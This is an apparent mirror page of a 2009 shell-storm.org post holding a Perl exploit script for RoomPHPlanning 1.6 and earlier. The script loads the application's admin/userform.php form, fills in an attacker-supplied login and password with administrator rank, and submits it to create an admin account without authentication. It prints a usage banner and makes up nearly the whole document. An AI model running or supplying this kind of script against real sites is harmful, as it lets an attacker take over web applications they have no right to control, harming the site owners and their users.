|
RoomPHPlanning <= 1.6 (userform.php) Create Admin User Exploit
|
|
来源：http://www.shell-storm.org 作者：Salwan 发布时间：2009-03-11
|
|
#!/usr/bin/perl -w
use LWP::UserAgent;
use HTML::Form;
print "_________________________________________________________\n";
print "[+]=>RoomPHPlanning\n";
print "[+]=>v1.x\n";
print "[+]=>Vul: Remote Create user with all permissions (admin)\n";
print "[+]=>Author: Jonathan Salwan \n";
print "[+]=>Web: http://www.shell-storm.org\n";
print "[+]=>Mail: submit [AT] shell-storm.org\n";
print "_________________________________________________________\n\n";
sub usage {
print "[+]=>usage: <file.pl> <host_&_patch> <login> <password>\n";
print "[+]=>Ex: flood.pl http://localhost/patch/ admin2 toto\n";exit;
}
if ($#ARGV < 2) {usage();}
$patch = "/admin/userform.php";
$host = $ARGV[0].$patch;
$login = $ARGV[1];
$pwd = $ARGV[2];
$name = "Administrateur";
$rank = "1";
print "[+]=>Sending...\n";
my $u = LWP::UserAgent->new(agent => 'Mozilla/4.73 [en] (X11; I; Linux 2.2.16 i686; Nav)' );
my $req = HTTP::Request->new( GET => "${host}" );
my $res = $u->request($req);
my $send = HTML::Form->parse( $res->content, $host );
$send->find_input('name')->value($name);
$send->find_input('login')->value($login);
$send->find_input('pwd')->value($pwd);
$send->find_input('rank')->value($rank);
$u->request( $send->click );
print "[+]=>Done!\n";
print "[+]=>Now, user $ARGV[1] is admin\n";
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
